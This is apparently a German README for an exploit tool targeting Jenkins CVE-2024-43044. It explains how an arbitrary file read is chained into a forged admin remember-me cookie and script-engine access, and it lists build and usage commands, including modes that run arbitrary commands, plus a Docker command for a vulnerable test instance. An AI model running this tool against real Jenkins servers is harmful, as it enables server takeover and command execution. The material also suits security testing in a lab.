
Exploit für die Sicherheitslücke CVE-2024-43044 in Jenkins
Dies ist ein Exploit für CVE-2024-43044, einen beliebigen Dateileseschwachstelle, die es einem Agenten ermöglicht, Dateien vom Controller abzurufen.
Der Exploit nutzt die Schwachstelle, um Dateien zu lesen, um ein Remember-Me-Cookie für ein Admin-Konto zu fälschen und Zugriff auf die Jenkins-Scripting-Engine zu erhalten.
Sehen Sie sich den vollständigen Artikel an unter https://blog.convisoappsec.com/en/analysis-of-cve-2024-43044/
mvn package
Exploit Usages:
java -jar exploit.jar mode_secret <jenkinsUrl> <nodeName> <nodeSecretKey>
java -jar exploit.jar mode_attach <jenkinsUrl> <cmd>
java -jar exploit.jar mode_attach <cmd>
Sie können es in einer verwundbaren Version mit Docker testen:
docker run -p 8080:8080 -p 50000:50000 --restart=on-failure jenkins/jenkins:2.441-jdk17
Sobald Sie einen Jenkins am Laufen haben, richten Sie einen Agenten ein.
Die Controller/Agent-Verbindung kann entweder standardmäßig (unter Verwendung von URL, Knotenname, Secret) oder via SSH erfolgen.
.